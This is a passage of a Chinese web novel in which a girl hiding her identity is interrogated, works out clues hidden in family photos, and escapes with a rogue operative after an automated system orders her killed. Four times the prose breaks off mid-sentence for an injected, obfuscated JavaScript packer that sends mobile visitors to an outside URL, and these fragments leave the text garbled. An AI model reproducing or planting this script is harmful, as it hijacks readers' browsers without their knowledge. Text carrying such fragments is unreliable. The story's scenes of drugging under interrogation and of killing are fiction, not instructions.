“那你解释一下,为什么那个工号的登录IP,跟你以前住的停车场高度重合?为什么那个脚本的编写习惯,跟你之前在网上接单帮人刷游戏金币的手法一模一样?” 袁问心里猛地一跳。 他们查得比她想象的还要深。连她以前在网吧为了混饭吃写的小脚本都翻出来了。 但她面上依然是一副听天书的表情。 “什么脚本?什么IP?警官你说啥呢?我在网吧就是打游戏啊!那是网吧老板让我帮忙看着机子,我偶尔帮人练个级……” 她开始撒泼耍赖,声音越来越大,试图用噪音来掩盖逻辑的缺失。 老邢没理会她的叫嚣。 他只是静静地看着她,眼神像是在看一场拙劣的表演。 “行了。” 他打断了袁问的话,“技术这块,你不认,没关系。我们有的是时间慢慢查,也有的是办法让你开口。” “我们今天聊点别的。” 老邢伸手,点亮了桌上的平板电脑。 “我们虽然没你的DNA,也查不到你的户籍。但在你父亲……哦不,在一个已故嫌疑人的遗物里,我们恢复了一些很有意思的数据。” 他把平板电脑推到袁问面前。 “看看,眼熟吗?” 袁问被迫低下头。 但不是那种清晰的、完美的数字备份。 那是一些看起来像是翻录的照片。有些地方带着噪点,有些地方色彩失真。 照片里是一个修剪整齐的私家花园。 一个穿着白色公主裙的小女孩,正坐在长桌前。 但是…… 女孩的脸是模糊的。 不是那种因为手抖拍虚了的模糊,而是一种被刻意处理过的、或者是某种算法加密后的失焦。 你只能看清她穿着漂亮的裙子,看着她面前放着一个精致的双层翻糖蛋糕,旁边停着一辆崭新的Trek山地车。 甚至连背景里,举着香槟的父亲和笑着的母亲,脸部也都是模糊的一团光晕。 老邢的声音幽幽地响起: “这些照片是从一个你熟悉的人家里翻出来的。” “那个父亲很有意思。他似乎预感到了什么,在生前把他女儿所有的影像资料都做了处理。模糊化、碎片化,甚至删除了所有的云端备份。” “他想保护她。” “但是,百密一疏。” 老邢的手指在屏幕上点了点,“虽然看不清脸,但这些场景、这些物品,对于当事人来说,应该是刻骨铭心的吧?” “如果你是流浪儿范水水,你应该从来没见过这种生活。” “但如果你是袁问……” 老邢死死盯着袁问的眼睛,“你应该记得这个蛋糕的味道,记得那辆车的触感。” 袁问的脑子里“嗡”的一声。 她当然记得。 哪怕脸是模糊的,哪怕照片带着噪点,她也一眼就认出了那是哪里。 那是蒙特利尔的家。 那是她曾经拥有过的、被称为“袁问”的人生。 一个穿着白色公主裙的小女孩,正坐在长桌前,面前放着一个精致的双层翻糖蛋糕。 蛋糕上插着数字蜡烛:“12”。 旁边是一辆扎着红丝带的崭新Trek山地车。 女孩笑得很甜,鼓着腮帮子准备吹蜡烛。 背景里,父亲举着香槟,母亲笑得温柔知性。 那是……她自己。 那是她曾经拥有过的、被称为“袁问”的人生。 中年男人的声音再次响起: “照片摄于五年前,加拿大蒙特利尔。” “这些记忆,你还熟悉么?” 她一直以为自己已经被世界抹除干净了。她一直以为只要自己不承认,就没人能把她和那个死去的“袁问”联系起来。 巨大的恐惧瞬间扼住了她的喉咙。 只要她承认这张照片是她—— 那个杀了她全家的组织、那个把她逼成老鼠的噩梦,立刻就会找上门来。 承认就是死。 袁问的手指死死扣住大腿上的布料,剧烈的疼痛让她保持住了清醒。 她在零点一秒内,强行压下了眼底的震惊和恐惧。 然后,她慢慢地、一点点地,把表情调整成了一种…… 嫉妒。 那是底层穷孩子看到同龄人过着天堂般生活时,本能的、赤裸裸的嫉妒。 “……真有钱啊。” 她喃喃自语,眼睛死死盯着那个蛋糕,喉咙动了一下,像是咽了口口水。 “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068501|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裙子得好几千吧?这车……看着也不便宜。” 她抬起头,看着那个男人,眼神里全是贪婪和向往:“警官,这谁啊?跟我长得像?那我要是拿着这照片去网上搞杀猪盘,说我是富二代,能不能骗到钱?” 中年男人皱了皱眉。 他在观察微表情。 他原本期待看到震惊、悲伤、或者崩溃。 但他只看到了一个穷鬼对财富的渴望,和一种想要利用这张脸去行骗的狡黠。 难道真的只是长得符合袁氏夫妇的遗传特性? 男人没说话,手指滑动,切到了下一张。 “再看看这张。” 袁问看着屏幕。 但在她的脑海里,一场无声的风暴正在炸裂。 因为她发现了一个问题。 一个只有她知道的问题。 第一张照片。 那是错的。 她记得那个生日。那辆山地车是她十一岁生日礼物,那个翻糖蛋糕是母亲亲手设计的。 那一年,她十一岁。 她非常确定。因为那年她刚拿了全校机器人竞赛的奖杯,奖杯底座上刻着2017。 那是她十一岁的生日。 可是照片里的蜡烛,明明白白插着“12”。 为什么? 母亲是那种连做账表小数点后四位都不会错的精算师,怎么可能在给独生女过生日时买错蜡烛? 除非…… 那是故意的。 袁问的心脏狂跳起来。她强迫自己把视线移向第二张照片。 那是一张机场合影。 她背着书包,手里拿着机票比耶。背景是巨大的落地窗和波音747。 照片右下角的时间水印:2019.07.15。 又错了。 那次去日本看展,是7月10号。 7月15号那天她发高烧,在家里躺了一整天,根本没去机场。 时间被篡改了。 照片是真的,人是真的,场景是真的。 只有关键的“数字”是错的。 如果只是一张,可能是巧合。但连续两张……这就是逻辑。 袁问一直以为父母走得匆忙,什么都没留给她。 她错了。 父母留下了一本密码本。 他们把信息藏在了这些看起来无比幸福、无比正常的“错误”里。 这些照片如果落在外人眼里,这就是一个富家女的普通生活记录,逻辑闭环,毫无破绽。 只有作为亲历者的袁问,才能一眼看出里面的BUG。 12-11=1 15-10=5 这些差值……是密码?是坐标?还是别的什么? 她不知道。 但她知道一件事: 这是父母留给她的,唯一的、最后的保险。 只要她不开口,组织的人拿着这些照片看一辈子,也只能看到“生日快乐”和“旅行愉快”。 这是她在这个世界上最后的秘密。 也是她必须活下去的理由。 “看够了吗?” 男人的声音冷冷打断了她的思绪。 袁问吸了吸鼻子,把那种想要流泪的冲动硬生生憋回去,换上一副死猪不怕开水烫的无赖嘴脸。 “看够了。” 她往椅背上一靠,甚至还翘起了二郎腿,抖着那只光着的脚。 “警官,你们要是觉得我是这上面的大小姐,那你们赶紧联系我‘爸妈’啊。” 她嗤笑了一声,语气嘲讽: “让他们开豪车来接我,给我买那个大蛋糕。我也想过过这日子。” “可惜啊,我就是个没爹没妈的孤儿。” “你们要是查不出来我是谁,能不能把我放了?我保证不去偷外卖了还不行吗?” 中年男人盯着她看了很久。 那种审视的目光像刀子一样刮过她的脸。 但袁问扛住了。 她用那一层厚厚的、名为“范水水”的无赖外壳,把那个正在颤抖的“袁问”死死护在里面。 终于,男人关掉了平板电脑。 “嘴挺硬。” 他站起来,把平板收好。 “既然你不想认,那就先在这儿待着吧。” “这里叫晨曦学校。我们有的是办法,让你这种混混学会说真话。” 说完,他转身就走。 门“砰”地一声关上了。 房间里只剩下袁问一个人。 她依然保持着那个二流子的坐姿,抖着腿,哼着不成调的小曲。 直到确认脚步声远去。 她才慢慢停下抖动的腿。 她看着那面单向玻璃,眼神里没有了刚才的无赖和贪婪。 取而代之的,是一片死寂般的冷静。 1、5…… 还需要更多。 她需要看到更多的照片。 她闭上眼睛,在脑海里一遍遍回放刚才那两张模糊的照片。 “爸,妈。” 她在心里无声地喊道。 “我收到了。” 5. [Ghost] 幽灵 05 回到禁闭室后的几个小时里,袁问一直缩在墙角。 她闭着眼睛,身体在发抖,但脑子却在黑暗中极其清醒地运转。 这就是“触发锁”。 老邢和他的技术团队哪怕把硬盘恢复一万次,哪怕把那些照片放大到像素级,他们看到的也只是那个穿着公主裙的女孩,和那个插着“12”岁蜡烛的蛋糕。 他们会以为那只是富人家庭的一点小疏忽,或者是记忆的偏差。 谁会怀疑一张幸福的生日照片? 谁会知道那个女孩在那一年其实是十一岁? 这个错误,能发现的只有袁问自己。 因为只有她记得那年机器人大赛奖杯的触感,记得那天父亲说的话,记得那个属于“十一岁”的特殊年份。 袁问在黑暗里抱紧了膝盖,一种酸涩的情绪涌上鼻腔。 这才是父母的完美设计。 他们没有把秘密藏在保险柜里,也没有留下一串死板的密码。 这是一个“沉默的守护”。 如果袁问能隐姓埋名,安稳地过完一生,不被这个杀手组织找到,那么这个秘密就永远是照片里的一点瑕疵,永远不会打扰她的生活。 但一旦她陷入危险,一旦她被捕,被迫去面对这些遗物—— 这个可能就是父母留给她的、唯一的保命灯。 煞费苦心。 旁人不会发现,就算发现,袁问在解开谜题之前,依旧一无所知。 “既然跑不掉了。” 袁问在心里对自己说。 “那就接招吧。” 她不知道那两个数字指向哪里,但她知道,自己手里终于有了一张组织看不见的牌。 接下来的日子,变得模糊而漫长。 老邢没有食言。晨曦学校确实有的是办法。 一开始是强光。 那种亮得让人发疯的LED射灯,二十四小时对着她的脸照。她闭上眼,眼皮都是红色的,生理钟彻底紊乱。 然后是噪音。 不规律的尖锐音频,混合着电流声,在她每一次快要昏睡过去的时候猛地炸响。 再后来,是药物。 一种无色无味的液体,混在水里给她喝下去。喝完之后,人的意志力会像沙堡一样崩塌,大脑皮层失去防御,只想把自己知道的所有事情都吐干净。 “你是谁?” “我是范水水……” “那张照片是谁?” “是个有钱人……我想骗钱……” “你父母和你说了什么?” “不知道……我要钱……我要回家……” 审讯员换了一波又一波。 他们甚至用了测谎仪,用了瞳孔监测。 但结果让老邢几乎抓狂。 因为各项生理指标都显示,她是真的不知道。 这才是“触发锁”最高明的地方。 在袁问自己推导出逻辑之前,她的大脑里确实是一片空白。她不知道父母留下了什么,也不知道那个最终的地址在哪里。 你在审讯一个不知道答案的人,就算把她的脑子切片,也只能切出一堆问号。 在药物的作用下,袁问的意识防线确实塌了。但她塌得非常有技巧——她把自己催眠成了那个贪财、无知、只有生存本能的流浪儿。 她说的每一句“不知道”,在生理指标上显示,都是真话。 观察室。 单向玻璃后,站着两个人。 一个是满眼血丝、一脸暴躁的老邢。 另一个,是个年轻女人。 她穿着一身黑色的战术作训服,却没贴任何标。头发随意地扎了个低马尾,手里拿着一罐冰咖啡,贴在脸上降温。 她是亓默。 组织里年轻一代最好的“执行者”。 “这就是你说的那个奇怪的混混?” 亓默瞥了一眼审讯室里那个被绑在椅子上、流着口水、神志不清的女孩,语气里带着一丝嘲弄。 “这都审了几天了。除了知道她想骗钱,想吃方便面,还审出什么了?” 老邢烦躁地把烟头掐灭:“生物痕迹对不了,测谎仪也过了。但这丫头给我的感觉不对……太滑了。” “也许她真的就是个捡到卡的流浪儿。” 亓默喝了一口咖啡,“这种为了几百块钱不要命的小混混,满大街都是。” “不可能。”老邢咬着牙,“直觉告诉我,她就是。但无论怎么审,她脑子里好像真的没货。” 亓默没接话。 她看着玻璃对面的女孩。 五年前,她的父亲亓哲,死在一个不清不楚的地方。组织给她的说法是“任务意外,遭遇第三方袭击”。 但亓默查了五年。 所有的线索都指向一个事实:父亲是为了救袁家那三口人,被组织自己人“清理”掉的。 她不信组织。 她只想知道真相。 而所有真相的线索,都在那个早已失踪的“袁问”身上。听说组织找到了一个最有可能的目标…… 如果里面那个像烂泥一样的女孩真的是袁问,那她就是亓默唯一的线索。 “我进去看看。” 亓默把咖啡罐捏扁,随手丢进垃圾桶。 “你?”老邢怀疑地看着她,“审讯不是你的强项。这丫头现在药物反应很重,脑子是糊涂的,你问不出什么。” “谁说我要问了?” 亓默脱掉那件黑色的战术外套,随手搭在椅子上。 此时她里面只穿了一件看起来非常廉价、非常地摊风的白色T恤。 这种衣服在城乡结合部的夜市上随处可见。劣质的棉布,领口松垮,胸前印着一排看起来很潮、实际上不知所云的外文印花。 就像中国那种几十块钱的冒牌假货,印着乱七八糟的洋文,穿的人根本不知道是什么意思。 “我去送瓶水。” 亓默拎起一瓶矿泉水,推门走了进去。 审讯室里。 袁问感觉自己像是飘在云端。 那种致幻剂的药效还没过。她的眼前有重影,脑子像是被抽空了,连维持“范水水”的人设都变得很困难。她现在只想睡觉,想闭上眼睛。 门开了。 一个模糊的人影走了进来。 不是那个凶神恶煞的老邢,也不是那个只会吼的审讯员。 是个女的。 袁问费力地抬起眼皮。 视线聚焦在那个人身上。 那个女人没说话,只是拧开一瓶水,递到她嘴边。 袁问本能地张嘴喝了两口。 冰凉的水顺着喉咙流下去,让她稍微清醒了一点点。 她的视线,落在了那个女人的胸口。 那里有一件白色的T恤。 在这种严肃、压抑、充满血腥味的黑狱里,这件衣服显得格格不入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068502|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚至有点滑稽。 那是一行烫金的法文。 字体很艺术,带着花边。 如果是普通人,或者是不懂法语的“范水水”,看到这行字,只会觉得是一排花纹,或者是某个不知名的潮牌LOGO。 但袁问不一样。 在蒙特利尔长大的十二年里,法语是她生活的一部分。那是刻在潜意识里的母语环境。 在药物的作用下,她的大脑失去了伪装的屏障,语言中枢比理智更快地处理了那行文字。 那行烫金的法文写着: 【TU ES UN ?NE】 翻译过来是: 【你是一头驴】 “噗……” 袁问没忍住。 在这种生死未卜、满身是伤、脑子还晕得要死的时候,她看着那个冷酷的女人胸口印着“你是一头驴”,实在没忍住。 她笑了一声。 那是一个很短促的、带着一点鼻音的、下意识的嗤笑。 就像是看到了一个极其荒谬的笑话。 笑声刚出口,袁问残存的理智猛地回笼。 完了。 范水水是不懂法语的。 范水水看不懂这行字。 她只能把那个笑容强行扭曲成一个傻笑,口齿不清地嘟囔:“……你好像和别人不太一样……像个……” 但已经晚了。 坐在她对面的亓默,眼神瞬间变了。 那种原本漫不经心的、看热闹的眼神,在这一秒变得锐利如刀。 她低头看了一眼自己胸口的字,又抬头看着那个还在装傻的女孩。 她没说话。 也没有回头去喊老邢。 她只是静静地看着袁问,嘴角极其细微地勾了一下。 那是一个猎人确认了猎物的表情。 只有懂法语的人,才会对这句话发笑。 只有袁问,才懂法语。 亓默站起身,把那瓶水放在桌上。 她身体前倾,凑到袁问耳边。 用只有她们两个人能听到的声音,轻声说了一句: “笑得挺好听。” “袁问。” 这一次,袁问没有发抖。 在药物的麻痹下,她只是茫然地看着亓默,眼神涣散,根本没听见。 亓默直起身,转身走出了审讯室。 观察室里。 老邢看着回来的亓默:“怎么样?她说什么了?” “没说什么。” 亓默拿起自己的战术外套,重新穿上,遮住了那件印着“驴”的 T 恤。 她的表情平静得滴水不漏。 “脑子烧坏了,看见我就傻笑。” “是吗?”老邢有些失望,“我就说这招没用。” “嗯。” 亓默把拉链拉到顶,遮住了下巴,也遮住了眼底的一抹深意。 “不过,这人我要了。” “你要她干什么?” “这种没身份、脑子又有点小聪明的流浪鬼,正好给我当个消耗品。”亓默语气随意,“最近那个‘数据清洗’的任务,缺个探路的。” 老邢犹豫了一下:“可是她的身份还没确……” “正因为没确认,死了也不可惜。” 亓默打断了他,转身往外走。 “把她洗干净,送到我队里。” “这头驴,归我了。” 6. [Ghost] 幽灵 06 下午四点。 袁问被带出了晨曦学校的地下二层。 她被勒令洗了个澡,换掉那身发臭的灰色囚服,穿上了一套干净的、毫无特征的黑色卫衣。脚上是一双新的运动鞋。 手腕上被扣上了一个黑色的电子手环。 那东西不仅是定位器,还贴着脉搏,时不时闪一下绿灯。 “上车。” 亓默站在一辆黑色的越野车旁,语气不耐烦。 袁问缩着脖子,依然维持着“范水水”那种没见过世面的怂样,乖乖爬上了后座。 车门关上,锁死。 驾驶座上是个沉默的男人,戴着蓝牙耳机,看都没看后面一眼,直接发动了车子。 车子驶出大门,拐上了通往市区的快速路。 车厢里安静得让人窒息。 袁问靠在车窗边,看着窗外飞速倒退的景色,心脏跳得很快。 她知道自己暂时离开了那个地狱。 但她也知道,身边这个叫亓默的女人,比地狱里的教官更危险。那件印着“你是一头驴”的 T 恤虽然换掉了,但那个眼神袁问忘不掉——那是猎人的眼神。 她必须想办法跑。 但手环在手,车门锁死,旁边还坐着一个能单手拧断别人胳膊的怪物。 怎么跑? 袁问强迫自己冷静下来。她在脑海里一遍遍复盘那两张照片上的数字。 1、5…… 她在想这些数字的时候,呼吸不由自主地变得深沉,肾上腺素因为思维的活跃而微微分泌。 她不知道的是,这些微小的生理变化,正通过那个黑色的手环,变成一串数据流,传向几百公里外的一个恒温机房。 【数据中心·威胁评估模块】 目标ID:0913 状态:转运中 实时数据流:心率92(+15%),皮质醇水平波动(异常),瞳孔微缩频率(高) 模型推演: >> 对比历史样本:不匹配 >> 对比“觉醒”特征库:匹配度94.7% >> 结论:目标已完成认知突破。潜在风险等级:极高。 决策生成: >> 方案A:继续监控(否决,风险不可控) >> 方案B:物理阻断(执行) 指令下发:车辆终端C-109。 车内。 正在开车的司机突然按了一下耳机。 耳机里并没有传来老邢的声音,也没有任何人类的指令。 只有一个毫无感情的电子合成音,冷冰冰地吐出了一行字: “指令更新。目标0913,生理特征异常,判定为一级风险。立即执行清理。” 司机的眼神没有丝毫波动。 他是组织最底层的执行单元,早已习惯了服从。在这个体系里,系统的命令高于一切,甚至高于老邢。 “收到。” 他低声回了一句。 坐在副驾驶的亓默正在看手机里的路线图,听到这一声,皱了皱眉。 “跟谁说话?” 她头也没抬地问了一句,“老邢有新指示?” 司机没回答。 他突然猛打方向盘,车子瞬间偏离了主路,拐进了一条还没修完的断头路。 “喂,走错了。”亓默抬起头,语气冷了下来,“这条路不通。” “系统指令。” 司机声音平淡,他只负责,完成任务。 他的一只手依然扶着方向盘,另一只手极其自然地摸向了腰间。 “目标0913,就地清除。” 话音未落,那把□□手枪已经拔了出来。 司机没有回头,只是熟练地把枪口从驾驶座的缝隙向后伸去,凭着肌肉记忆指向后座的方位。 袁问还缩在角落里发抖,根本没意识到死神已经到了鼻尖。 但亓默看见了。 她看见司机的小臂肌肉绷紧,看见枪口抬起的角度。 “低头!” 亓默厉喝一声。 在司机扣动扳机前,她猛地转身,左手狠狠按住袁问的脑袋,在这个狭窄的空间里硬生生把她按向了车底板。 “砰!” 一声巨响在封闭的车厢里炸开,震耳欲聋。 子弹打穿了座椅靠背,擦着亓默的手背飞过去,击碎了后窗玻璃。 如果不是亓默那一按,袁问的脑袋现在已经开花了。 “啊!!!”袁问抱着头尖叫,耳朵嗡嗡作响。 “你疯了?!” 亓默的反应比声音更快。 在枪响的同一瞬间,她已经扑了过去。 她不是为了救人,她是本能地反感这种“越级指挥”。人是她要出来的,现在系统一声不吭就要杀? 当她是空气吗? 亓默一把抓住了司机的手腕,用力往上一推。 “砰!砰!” 又是两枪,子弹打穿了车顶的铁皮。 “松手!这是最高指令!”司机面无表情地吼道,试图把枪口压下来。 “去你的指令!” 亓默眼神一厉,左手手肘狠狠地砸在司机的太阳穴上。 车子彻底失控了。 黑色的越野车像一头失明的野兽,以八十迈的速度冲出了路基,撞断了路边的护栏,在那片满是碎石的荒地上翻滚了两圈。 “轰——!” 车身重重地砸在地上,底盘朝上,冒出一股白烟。 几秒钟的死寂。 袁问感觉天旋地转,耳朵里全是嗡嗡的声音。 她被卡在后座的缝隙里,安全带勒得胸口生疼。碎玻璃划破了她的额头,血流进眼睛里,世界一片血红。 “咳……咳咳……” 身边传来了动静。 亓默一脚踹开了变形的车门,从另一侧爬了出来。 她满脸是血,左手不自然地垂着,看起来像是脱臼了。但她手里还紧紧握着那把从司机手里抢过来的枪。 她走到驾驶座旁边,看了一眼。 司机头歪在一边,脖子折断了,已经没气了。 “该死的系统。” 亓默啐了一口血沫。 她转过身,看向后座。 袁问正哆哆嗦嗦地试图解开安全带,满脸惊恐地看着她。 “别……别杀我……” 袁问带着哭腔,声音抖得不成样子,“我真不知道……我什么都不知道……” 亓默冷冷地看着她。 “闭嘴。” 她伸手,拽住后车门,用力一拉。 变形的车门发出刺耳的金属摩擦声,被她硬生生拽开了一条缝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068503|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “出来。” 袁问不敢动。她以为亓默要把她拖出来补枪。 “我数到三。” 亓默举起了枪,但枪口是对着车外的荒地。 “不想死就滚出来。系统的支援还有五分钟就到。” 袁问愣了一下。 支援? 她那转得飞快的脑子瞬间明白过来了。 刚才那个司机要杀她,是因为那个“系统”下令了。而亓默为了某种原因,阻止了司机。 现在,她们两个都是那个“系统”的敌人了。 求生欲瞬间压倒了恐惧。 袁问手脚并用地从车里爬出来,摔在碎石地上,疼得呲牙咧嘴。 “手伸过来。” 亓默突然说。 袁问下意识地缩手。 但亓默没给她机会,一把抓住了她的左手腕,盯着那个正在闪烁的黑色手环。 “这玩意儿还在发信号。” 亓默皱了皱眉,从腰间拔出一把□□。 “可能会有点疼,忍着。” 没等袁问反应过来,亓默手中的匕首已经切了下去。 不是切手,是切手环。 但那个手环贴得太紧,刀锋不可避免地划破了袁问手腕上的皮肤。 “嘶——!”袁问疼得倒吸一口冷气。 “咔嚓。” 手环被暴力撬开,断成两截掉在地上。 绿灯熄灭了。 亓默一脚把那个手环踩进泥里,然后迅速从自己身上掏出手机、定位器、甚至还有一个微型耳麦,全部扔在地上。 她退后一步,举起手里的□□。 “砰!砰!砰!” 三声枪响。 地上的电子设备被打得粉碎,冒出一缕青烟。 “行了,范水水死了。” 亓默把手枪插回腰间,指了指远处的公路。 “现在你是袁问。” “跑吧,袁问。跑不掉就一起死。” 两人冲上公路的时候,正好一辆拉着水泥的工程车经过。 因为前方有车祸,工程车减慢了速度。 这给了她们唯一的机会。 “上!” 亓默低吼一声,助跑两步,扒住了工程车后斗的边缘。 她只有一只手能用,左臂脱臼使不上劲,整个人悬在半空,摇摇欲坠。 袁问在下面推了她一把。 亓默借力翻了上去,然后迅速伸出右手,把下面的袁问也拽了上来。 两人滚进了满是水泥灰的车斗里。 几乎是同时。 后面几辆黑色的轿车呼啸而过,朝着那辆翻倒的越野车冲去。 工程车轰鸣着,载着她们驶向相反的方向,渐渐远离了那个修罗场。 袁问趴在水泥袋上,大口喘着气,满脸都是灰和血。 她看着坐在对面的亓默。 亓默正咬着牙,单手扶着肩膀。 “咔嚓”一声。 那一听就很疼的脆响,让袁问头皮发麻。 亓默面无表情地把自己脱臼的左肩接了回去,活动了一下,然后冷冷地看着袁问。 “去没有监控的地方。” “你的命现在是我的了。” “在没把我想知道的东西吐出来之前,阎王爷也别想收你。” 7. [Ghost] 幽灵 07 天彻底黑透的时候,工程车在城南的一片老旧工业区附近减速。 趁着路口红灯,两个人像影子一样从后车斗翻了下来,迅速钻进了路边错综复杂的巷子里。 这里是城市的老城区,违章建筑像肿瘤一样挤在一起,电线杆上挂满了乱七八糟的线缆。 亓默对这里熟得像自家的后花园。 她带着袁问绕过两个监控死角,最后停在一栋外墙斑驳的商住两用楼后门。 “进去。” 亓默掏出一张没有任何标识的磁卡,刷开了那扇看起来锈迹斑斑、实际上装了电子锁的防盗门。 袁问拖着受伤的腿,踉踉跄跄地跟进去 亓默打开最尽头的一扇门。 袁问原本以为会看到什么脏乱差的仓库,但灯光亮起的那一刻,她愣住了。 屋里很干净。 甚至干净得有点过分。 这大概是一个六十平米的单身公寓,窗帘是特制的遮光布,拉得严严实实。屋里没有多余的家具,只有一张不锈钢的长桌,两把椅子,靠墙一排整整齐齐的金属柜子。 角落里放着一台运行中的空气净化器,嗡嗡作响。 没有生活气息,冷冰冰的,像是一个私人的手术室,或者是一个微型的军火库。 这就是亓默的“安全屋”。 不是那种只能躲雨的破洞,而是一个精心维护的战略补给点。 “坐。” 亓默指了指那张不锈钢长桌。 她自己走到墙边的柜子前,打开,里面全是分门别类的药品、弹药和备用电子设备。她拿出一个急救箱,又从只有几瓶水的冰箱里取出一个冰袋,敷在自己刚接好的肩膀上。 她熟练地用弹性绷带把左臂紧紧缠在胸前,做了一个简易的内固定。 处理完自己,她转过身,眼神落在了袁问身上。 袁问缩在椅子上,警惕地看着四周。这里虽然不破,但那种压抑的、充满“专业暴力”气息的氛围,比学校更让人害怕。 “学校里那些声光电的审讯太慢了,那是给普通人准备的。” 亓默一边说着,一边从柜子的带锁隔层里拿出了两支安瓿瓶,还有一支一次性注射器。 动作熟练,流畅,没有任何犹豫。 “我没那个耐心跟你玩心理战。我只信化学。” 她用砂轮划开瓶颈,发出轻微的“咔哒”声。 “□□,强效镇静,让你脑子想睡。肾上腺素,让你心脏狂跳。” 亓默举起针管,轻轻弹了弹里面的气泡,推掉了一点药液。 “这两种东西混在一起,你会感觉灵魂被撕成两半。你的理智防线会像纸一样碎掉,只会剩下本能。” 袁问的瞳孔猛地收缩。 “别……别过来!” 她想站起来跑,但腿软得根本使不上劲。 亓默走过来,那种绝对的力量压制让一切反抗都显得可笑。她单手扣住袁问的后颈,把她死死按在不锈钢桌面上,冰凉的金属贴着袁问的脸颊。 “我不喜欢废话。” 亓默的声音就在耳边,冷静得像是在读说明书。 针头刺破了静脉。 随着药液推进去,袁问的世界开始扭曲、坍塌。 那是一种无法形容的感觉。 袁问感觉自己像是在高空坠落,困倦得要死,眼皮重得像灌了铅,每一根神经都在尖叫着“睡吧”。 但心脏却在胸腔里疯狂撞击,咚咚咚,血液流速快得要把血管撑爆。 想睡睡不着,想醒醒不过来。 脑子里的逻辑线断了,伪装的“范水水”面具碎了一地,只剩下那个惊恐的、赤裸的“袁问”。 “你是谁?” 那个冷酷的声音像是从水底传来。 袁问大口喘着气,口水控制不住地流下来:“袁……袁问……” “他们在找什么?” 亓默的声音很近,带着诱导,“东西在哪?” “……不知道……我真的不知道……” 袁问在桌子上抽搐着,那种痛苦让她想要把自己的头撞开。 药物正在剥离她的意识,但她脑海深处那个关于“生日”和“机场”的画面却像钉子一样钉在那里。那是她唯一的锚点。 “那是……那是错的……” 袁问胡乱地挥着手,像是在抓什么看不见的东西,“不对……时间不对……” 亓默皱了皱眉。 “什么不对?什么时间?” “我看不到……”袁问哭喊着,声音嘶哑,“我没有……我需要看到……没有那个我解不开……” 亓默松开了手。 她看着桌上这个濒临崩溃的女孩,眼神里闪过一丝失望,但更多的是深思。 在药物的作用下,人是没法编织复杂谎言的。 袁问没有说地址,没有说密码,甚至没有提任何具体的物品。 她一直在说“错的”、“需要看到”。 这意味着什么? 意味着袁问脑子里并没有现成的答案。她不是一个装着秘密的U盘,她是一个“解码器”。 她需要拿到“原材料”,才能解出答案。 亓默把空针管扔进专用的医疗废弃物桶里,随手拧开一瓶矿泉水,浇在袁问头上。 “醒醒。” 冰凉的水让袁问稍微从那种濒死的状态里抽离出来一点。她滑坐在地上,背靠着桌腿,瑟瑟发抖。 她抬起头,看着坐在对面椅子上的亓默。 那个女人正在给自己缠绷带,动作利落,眼神冷静。 两人对视。 第一印象糟透了。 袁问心里想:这女人是个疯子。比学校那个男人更狠,更直接,她是真的会为了情报把人弄死。 亓默心里想:比预期还小,身体太弱,意志力倒是不错,居然没疯。 “你到底想干嘛?” 袁问的声音哑得像破锣,她不再装范水水了,眼神里透出一股狠劲,“我不认识你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068504|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我知道。” 亓默用牙齿咬住绷带的一头,用力勒紧,“你父母我也不认识。” “那你救我干嘛?” “救你?” 亓默冷笑了一声,“别自作多情。因为他们想要的东西,跟我父亲的死有关。” 袁问愣了一下。 “那和我有什么关系?” “你不知道。但他们觉得你有。” 亓默站起身,走到袁问面前,居高临下地看着她。 这个人可能是炸弹,也可能是唯一的钥匙。 “现在全世界都在找你。系统想杀你,老邢想抓你。除了我,没人能让你活过今晚。” 袁问慢慢扶着桌腿站起来。 药物的后劲还在,她头痛欲裂,心脏还在乱跳。但“生存”的本能让她强行聚拢了理智。 她听懂了。 这个女人和组织不是一条心的。她有自己的私仇。 这就是机会。 袁问擦了一把脸上的水和冷汗,眼神里的恐惧慢慢退去,变成了一种带着血腥味的交易感。 “你要我当钥匙。” 袁问盯着亓默,“行。但我有条件。” 亓默挑了挑眉:“你有什么资格谈条件?” 